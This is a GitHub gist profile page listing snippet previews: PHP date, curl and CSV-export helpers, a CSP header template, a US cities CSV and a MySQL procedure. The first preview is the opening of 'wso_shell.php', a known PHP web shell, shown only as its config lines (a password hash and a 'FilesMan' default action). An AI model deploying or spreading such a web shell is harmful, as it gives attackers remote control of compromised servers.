Skip to content

Instantly share code, notes, and snippets.

View fhdalikhan's full-sized avatar
🏠
Working from home

Fahad Ali Khan fhdalikhan

🏠
Working from home
  • Karachi, Pakistan.
View GitHub Profile
@fhdalikhan
fhdalikhan / wso_shell.php
Created September 10, 2019 08:57
WSO Shell Script PHP
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
@fhdalikhan
fhdalikhan / macro.php
Created August 20, 2019 13:57
Carbon Macro For Laravel, Useful To Test For Valid Date.
<?php
Carbon::macro('checkDate', function ($year, $month = null, $day = null) {
if (isset($this)) {
throw new \RuntimeException('Carbon::checkDate() must be called statically.');
}
if ($day === null) {
[$year, $month, $day] = explode('-', $year);
}
@fhdalikhan
fhdalikhan / curl-example.php
Created July 26, 2019 13:56
Curl Example PHP
<?php
class CurlTest {
const API_BASE_URL = 'http://example.com/v1/';
protected $apiKey = 'YOUR API KEY';
protected function _getApiData($route, $method = 'GET', $sendData = array()){
$method = strtoupper($method);
$requestUrl = self::API_BASE_URL.$route;
$curlObj = curl_init();
@fhdalikhan
fhdalikhan / .js
Created July 19, 2019 07:25
Generate random hex color values
'#'+(Math.random()*0xFFFFFF<<0).toString(16);
@fhdalikhan
fhdalikhan / us-cities.csv
Created July 15, 2019 09:07 — forked from sohlis/us-cities.csv
All US Cities CSV
City State short
Holtsville NY
Agawam MA
Amherst MA
Barre MA
Belchertown MA
Blandford MA
Bondsville MA
Brimfield MA
Chester MA
@fhdalikhan
fhdalikhan / csp.txt
Created July 10, 2019 09:16
Content-Security-Policy Placeholder, add your domains in place of example.com
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' www.google-analytics.com wss://example.com; font-src example.com; form-action 'self' example.com; frame-ancestors 'none'; frame-src example.com; img-src 'self' data: example.com *.example.com; manifest-src 'self'; media-src 'none'; script-src example.com; style-src 'unsafe-inline' example.com
@fhdalikhan
fhdalikhan / addProduct.php
Last active June 25, 2019 11:16
Add product data by browser console
<?php
public function addProduct()
{
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, X-Auth-Token, Origin, Authorization, X-SC-Touchpoint');
if ( ! isset($_POST['slug']) ) {
return false;
}
@fhdalikhan
fhdalikhan / export-csv.php
Created June 25, 2019 07:42
export csv using fputcsv in PHP
<?php
function export(){
$filename = 'users_'.date('Ymd').'.csv';
header("Content-Disposition: attachment; filename=\"$filename\"");
header("Content-Type: application/vnd.ms-excel");
/* Connect to a MySQL database using driver invocation */
$dsn = 'mysql:dbname=test_db;host=127.0.0.1';
$user = 'test';
@fhdalikhan
fhdalikhan / export-csv.php
Last active June 25, 2019 07:42
export csv in PHP
<?php
function export(){
$filename = uniqid().".csv";
header("Content-Disposition: attachment; filename=\"$filename\"");
header("Content-Type: application/vnd.ms-excel");
/* Connect to a MySQL database using driver invocation */
$dsn = 'mysql:dbname=test_db;host=127.0.0.1';
@fhdalikhan
fhdalikhan / drop-column-if-exists.sql
Created June 4, 2019 08:01 — forked from eusonlito/drop-column-if-exists.sql
Drop table column only if exists in a MySQL database
DROP PROCEDURE IF EXISTS `DropColumnIfExists`;
DELIMITER $$
CREATE PROCEDURE `DropColumnIfExists` (`@TABLE` VARCHAR(100), `@COLUMN` VARCHAR(100))
`DropColumnIfExists`: BEGIN
DECLARE `@EXISTS` INT UNSIGNED DEFAULT 0;
SELECT COUNT(*) INTO `@EXISTS`
FROM `information_schema`.`columns`